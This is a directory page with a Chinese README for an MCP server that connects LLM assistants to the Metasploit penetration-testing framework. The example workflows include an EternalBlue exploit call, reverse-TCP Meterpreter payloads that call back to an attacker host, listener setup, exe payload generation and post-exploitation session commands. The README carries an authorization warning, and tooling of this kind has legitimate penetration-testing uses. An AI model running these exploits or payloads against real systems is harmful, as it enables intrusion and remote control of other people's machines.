Metasploit MCP Server
Metasploit MCP 服务器
用于 Metasploit 框架集成的模型上下文协议 (MCP) 服务器。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
描述
该 MCP 服务器在 Claude 等大型语言模型和 Metasploit Framework 渗透测试平台之间架起了一座桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 功能,从而为复杂的安全测试工作流程提供自然语言界面。
Related MCP server: MSFConsole MCP Server
特征
模块信息
list_exploits :搜索并列出可用的 Metasploit 漏洞利用模块
list_payloads :搜索并列出可用的 Metasploit 有效载荷模块,并可选平台和架构过滤
漏洞利用工作流程
run_exploit :配置并执行针对目标的漏洞利用,并首先运行检查
run_auxiliary_module :使用自定义选项运行任何 Metasploit 辅助模块
run_post_module :针对现有会话执行后利用模块
有效载荷生成
generate_payload :使用 Metasploit RPC 生成有效载荷文件(在本地保存文件)
会话管理
list_active_sessions :显示当前 Metasploit 会话的详细信息
send_session_command :在活动 shell 或 Meterpreter 会话中运行命令
终止会话:强制结束活动会话
处理程序管理
list_listeners :显示所有活动处理程序和后台作业
start_listener :创建一个新的 multi/handler 来接收连接
stop_job :终止任何正在运行的作业或处理程序
先决条件
Metasploit Framework 已安装并且 msfrpcd 正在运行
Python 3.10 或更高版本
所需的 Python 包(请参阅 requirements.txt)
安装
克隆此存储库
安装依赖项:
pip install -r requirements.txt配置环境变量(可选):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
用法
启动 Metasploit RPC 服务:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553交通选择
服务器支持两种传输方式:
HTTP/SSE(服务器发送事件) :与大多数 MCP 客户端互操作的默认模式
STDIO(标准输入/输出) :与 Claude Desktop 和类似的直接管道连接一起使用
您可以使用--transport标志明确选择传输模式:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdioHTTP 模式的附加选项:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085Claude 桌面集成
对于 Claude Desktop 集成,配置claude_desktop_config.json :
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}其他 MCP 客户端
对于使用 HTTP/SSE 的其他 MCP 客户端:
以HTTP模式启动服务器:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085配置您的 MCP 客户端以连接到:
SSE 端点:
http://your-server-ip:8085/sse
安全注意事项
⚠️重要安全警告:
此工具可直接访问 Metasploit Framework 功能,其中包括强大的漏洞利用功能。请谨慎使用,并仅在您拥有明确权限执行安全测试的环境中使用。
执行前务必验证并检查所有命令
仅在隔离的测试环境中运行或获得适当的授权
请注意,后利用命令可能会导致重大的系统修改
示例工作流程
基本利用
列出可用的漏洞:
list_exploits("ms17_010")选择并运行漏洞利用程序:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})列出会话:
list_active_sessions()运行命令:
send_session_command(1, "whoami")
后期开发
运行帖子模块:
run_post_module("windows/gather/enum_logged_on_users", 1)发送自定义命令:
send_session_command(1, "sysinfo")完成后终止:
terminate_session(1)
处理程序管理
启动监听器:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)列出活动处理程序:
list_listeners()生成payload:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})停止处理程序:
stop_job(1)
配置选项
有效载荷保存目录
默认情况下,使用generate_payload生成的有效载荷会保存到主文件夹中的payloads目录( ~/payloads或C:\Users\YourUsername\payloads )。您可以通过设置PAYLOAD_SAVE_DIR环境变量来自定义此位置。
设置环境变量:
Windows(PowerShell) :
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"Windows(命令提示符) :
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloadsLinux/macOS :
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads在 Claude 桌面配置中:
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
**注意:**如果您指定自定义路径,请确保该路径存在或应用程序有权创建该路径。如果路径无效,有效负载生成可能会失败。
执照
Apache 2.0
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.14Apache 2.0
- -licenseNot gradedqualityNot gradedmaintenanceEnables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.2
- AlicenseNot gradedqualityDmaintenanceBridges large language models with the Metasploit Framework to enable natural language control over penetration testing workflows. It provides tools for searching modules, executing exploits, generating payloads, and managing active sessions.1Apache 2.0
- FlicenseNot gradedqualityDmaintenanceProvides AI assistants with secure access to Metasploit Framework functionality through a standardized interface, enabling commands, exploit search, module info, and scanning.2
Related MCP Connectors
MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.
MEOK MCP Hardening MCP — automated security red-team for any MCP server. Maps OWASP LLM Top 10
A comprehensive Model Context Protocol (MCP) server that enables AI assistants to interact with yo…
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'
If you have feedback or need assistance with the MCP directory API, please join our Discord server